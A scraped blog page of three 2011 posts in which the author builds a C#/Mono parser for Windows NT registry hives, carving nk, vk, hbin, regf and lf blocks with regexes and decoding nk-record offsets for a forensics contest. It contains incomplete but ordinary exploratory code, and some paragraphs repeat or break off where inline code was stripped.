byte[] lengthBytes = new byte[dword]; //should only be a word length. not sure why I need to make this dword
for (int k = 0;k<word;k++)
{
lengthBytes[k] = bs[i+k];
}
nameLength = BitConverter.ToInt32(lengthBytes, 0);
Console.WriteLine(String.Format("Name Length: {0} bytes", nameLength.ToString()));
i += word;
}
... //other else if's here
else if (i == (int)0x004C) //key name
{
int length = nameLength;
char[] blah = new char[length];
for (int k = 0; k < length;k++)
{
try
{
blah[k] = (char)bs[i+k];
}
catch(Exception ex)
{
//sometimes you get stupid long names (someone not know inghow the registry works)
//when this happens, we will just read what we can and return what we get. Doesn't have to
//be perfect since we can load the full name at a later time when the user clicks the list item
//for most names, this won't be needed.
if (ex.GetType() == typeof(IndexOutOfRangeException))
{
Console.WriteLine("Partial Name: " + new string(blah));
i += bs.Length - i;
k = length;
continue;
}
else
throw ex;
}
}
Console.WriteLine("Name: " + new string(blah));
i += bs.Length - i; //we are done.
}
I figure for a list of values, you won't be showing more than 100 or so characters until you pick the specific key out of the list and it loads the full details. At that point you can read the entire name and show it to the full user.
Monday, January 31, 2011
Windows Registry with Mono, pt2 - Node Keys
I have had a bit more time on my hands to work on being able to read the registry without using advapi32.dll. Today I was able to hack up a small (incomplete) class for node keys that builds the framework for breaking apart and manipulating the data.
To start off, from this file, we can get the offsets we need to read to get the right data.
It's pretty straight forward. In every fragment, we can go to specific offsets and get the data we want. This ends up looking like this:
If you notice, however, my code is not complete. I am starting with the most useful stuff first and moving on that way. A more complete class will keep the key name length in a local variable and use that instead of
Another thing to point out is
One thing I look forward to implementing is lazy loading of parents and children. If you would like to test this, class, you can see my previous post on initially reading and deciphering the windows registry in C#. Just use this in your
To start off, from this file, we can get the offsets we need to read to get the right data.
the nk-Record
=============
Offset Size Contents
0x0000 Word ID: ASCII-"nk" = 0x6B6E
0x0002 Word for the root-key: 0x2C, otherwise 0x20
0x0004 Q-Word write-date/time in windows nt notation
0x0010 D-Word Offset of Owner/Parent key
0x0014 D-Word number of sub-Keys
0x001C D-Word Offset of the sub-key lf-Records
0x0024 D-Word number of values
0x0028 D-Word Offset of the Value-List
0x002C D-Word Offset of the sk-Record
0x0030 D-Word Offset of the Class-Name
0x0044 D-Word Unused (data-trash)
0x0048 Word name-length
0x004A Word class-name length
0x004C ???? key-name
It's pretty straight forward. In every fragment, we can go to specific offsets and get the data we want. This ends up looking like this:
public NodeKey (string data)
{
ASCIIEncoding enc = new ASCIIEncoding();
byte[] bs = enc.GetBytes(data);
//the lengths we will be working with.
int word = 2;
int dword = word+word; //double word
int qword = dword+dword; //quad word
for (int i = 0; i < bs.Length;)
{
//making sure it is nk
if (i == (int)0x0000) //header
{
if ((int)bs[0] == 110)
{
if ((int)bs[1] == 107)
{
i += word;
continue;
}
else
{
throw new Exception("This may be a damaged nk block. If so, fix the header and try again.");
}
}
else
{
throw new Exception("Not a nk");
}
}
else if (i == (int)0x0002) //is it a root key?
{
if (bs[i] == (byte)0x2C)
{
//It's a root key!
Console.WriteLine("It's a root key!");
}
else
{
//it's not a root key!
Console.WriteLine("It's not a root key!");
}
i += word; //move up 2 elements
continue;
}
else if (i == (int)0x0004) //timestamp in long smb form blegh
{
byte[] blah = new byte[qword];
for (int k = 0;k<qword;k++)
{
blah[k] = bs[i+k];
}
i+= qword;
}
else if (i == (int)0x0010) //offset to parent
{
i += dword;
}
else if (i == (int)0x0014) //number of subkeys
{
i += dword;
}
else if (i == (int)0x001C) //offset to subkey lf blocks
{
i += dword;
}
else if (i == (int)0x0024) //number of values
{
i += dword;
}
else if (i == (int)0x0028) //offset of value list
{
i += dword;
}
else if (i == (int)0x002C) //offset to the sk block
{
i += dword;
}
else if (i == (int)0x0030) //offset to classname
{
i += dword;
}
else if (i == (int)0x0044) //this is trash supposedly
{
i += dword;
}
else if (i == (int)0x0048) //name length
{
i += word;
}
else if (i == (int)0x004A) //class name length
{
i += word;
}
else if (i == (int)0x004C) //key name
{
int length = bs.Length - i;
char[] blah = new char[length];
for (int k = 0; k < length;k++)
{
blah[k] = (char)bs[i+k];
}
Console.WriteLine(blah);
i += length; //we are done.
}
else i+= word; //debugging purposes
}
}
If you notice, however, my code is not complete. I am starting with the most useful stuff first and moving on that way. A more complete class will keep the key name length in a local variable and use that instead of
bs.Length
when reading the key name later. With the current implementation, I read in too many bytes and grab some extra key headers :-/. You could create properties that are privately set and publicly get'able and set the properties to their respective values, to make it truly object oriented. Another thing to point out is
i
is being incremented by the length read each time. It isn't arbitrary. This way next go around we are at the offset we need to be at.One thing I look forward to implementing is lazy loading of parents and children. If you would like to test this, class, you can see my previous post on initially reading and deciphering the windows registry in C#. Just use this in your
for
loop instead:
foreach (Match mx in nk.Matches (d)) {
all++;
NodeKey key = new NodeKey(mx.Value);
}
Wednesday, January 5, 2011
Analyzing the Windows NT registry without advapi32.dll using Mono (PoC)
I have been doing some challenges for a contest and one requires analyzing a set of Windows NT registry hives. Regedit really sucks (though it does run in wine). I decided it would be more fun to write a small library that can read the registry hives without relying on p/invoke and advapi32.dll on Windows. I have some small code that carves out the data I need, though I am running into a problem on the
A lot of my information came from this text file which I found, and have updated some with information that I found missing.
As far as I can tell, there are 6 data types to be carved out of the hives. regf file headers, hbin blocks, node keys, value keys, and lf/h (lh on XP) blocks. There are also security keys (with a sk header) within node keys. The following regex's should carve out the data from the registry files so you may parse out the information you need.
But in order to search the hive, we need to read it in. This isn't very efficient, and I am aware of this. It works.
Basically, we read in the hive into a MemoryStream, convert the stream into a byte array, move that into a char array from which we create a string to search for the regexs in. Yes, we store 4 copies of the registry in memory. I am sure there are better ways to do this.
Then we loop through each match and count them. Of course we are working with binary streams, so if you choose to write the data carved out to the console, it will look like random data (to the untrained eye at least).
Running through all the hives supplied, I get this output:
The number printed after the regex is the number of matches found. The data is fully carved out, so the only thing left is to break it apart to get the relevant data. If you will notice however,
software
hive supplied. Maybe someone can point me in the right direction.A lot of my information came from this text file which I found, and have updated some with information that I found missing.
As far as I can tell, there are 6 data types to be carved out of the hives. regf file headers, hbin blocks, node keys, value keys, and lf/h (lh on XP) blocks. There are also security keys (with a sk header) within node keys. The following regex's should carve out the data from the registry files so you may parse out the information you need.
Regex regf = new Regex (@"^regf.{508}");
Regex nk = new Regex (@"nk[\x2c|\x20]\x00.{7}\x01.{64}");
Regex vk = new Regex (@"vk.{3}\x00\x00[\x00|\x80].{64}");
Regex hbin = new Regex (@"hbin.{4}\x00\x10\x00\x00.{8}");
Regex lf = new Regex (@".{4}l[f|h][0-65535].{8}"); //lf or lh on winxp
But in order to search the hive, we need to read it in. This isn't very efficient, and I am aware of this. It works.
using (FileStream fs = File.OpenRead (path)) {
var data = new byte[checked((int)fs.Length)];
int i = 0;
int read;
using (var ms = new MemoryStream (checked((int)fs.Length))) {
while ((read = fs.Read (data, 0, data.Length)) > 0) {
ms.Write (data, 0, read);
i += read;
}
byte[] hive = ms.ToArray ();
char[] cList = new char[fs.Length];
i = 0;
foreach (byte b in hive)
cList[i++] = (char)b;
string d = new string (cList);
int all = 0;
foreach (Match mx in lf.Matches (d)) { //you can change out the regex you want here.
byte[] bb = new byte[mx.Value.Length];
char[] cb = new char[mx.Value.Length];
for (int k = 0; k < mx.Value.Length; k++) {
bb[k] = (byte)mx.Value[k];
cb[k] = (char)bb[k];
}
all++;
//Console.WriteLine (new string (cb));
}
Console.WriteLine (all.ToString ());
all = 0;
}
}
Basically, we read in the hive into a MemoryStream, convert the stream into a byte array, move that into a char array from which we create a string to search for the regexs in. Yes, we store 4 copies of the registry in memory. I am sure there are better ways to do this.
Then we loop through each match and count them. Of course we are working with binary streams, so if you choose to write the data carved out to the console, it will look like random data (to the untrained eye at least).
Running through all the hives supplied, I get this output:
/home/bperry/SAM
nk[\x2c|\x20]\x00.{7}\x01.{64}
47
.{4}l[f|h][0-65535].{8}
0
vk.{3}\x00\x00[\x00|\x80].{64}
36
hbin.{4}\x00\x10\x00\x00.{8}
6
^regf.{508}
1
/home/bperry/software
nk[\x2c|\x20]\x00.{7}\x01.{64}
43147
.{4}l[f|h][0-65535].{8}
6
vk.{3}\x00\x00[\x00|\x80].{64}
54708
hbin.{4}\x00\x10\x00\x00.{8}
2917
^regf.{508}
0
/home/bperry/system
nk[\x2c|\x20]\x00.{7}\x01.{64}
11189
.{4}l[f|h][0-65535].{8}
4
vk.{3}\x00\x00[\x00|\x80].{64}
21926
hbin.{4}\x00\x10\x00\x00.{8}
1121
^regf.{508}
1
/home/bperry/default
nk[\x2c|\x20]\x00.{7}\x01.{64}
554
.{4}l[f|h][0-65535].{8}
0
vk.{3}\x00\x00[\x00|\x80].{64}
1014
hbin.{4}\x00\x10\x00\x00.{8}
58
^regf.{508}
1
/home/bperry/SECURITY
nk[\x2c|\x20]\x00.{7}\x01.{64}
220
.{4}l[f|h][0-65535].{8}
0
vk.{3}\x00\x00[\x00|\x80].{64}
147
hbin.{4}\x00\x10\x00\x00.{8}
10
^regf.{508}
1
The number printed after the regex is the number of matches found. The data is fully carved out, so the only thing left is to break it apart to get the relevant data. If you will notice however,
software
reports 0 regf file headers, and I cannot figure out why. Any thoughts?
Subscribe to:
Posts (Atom)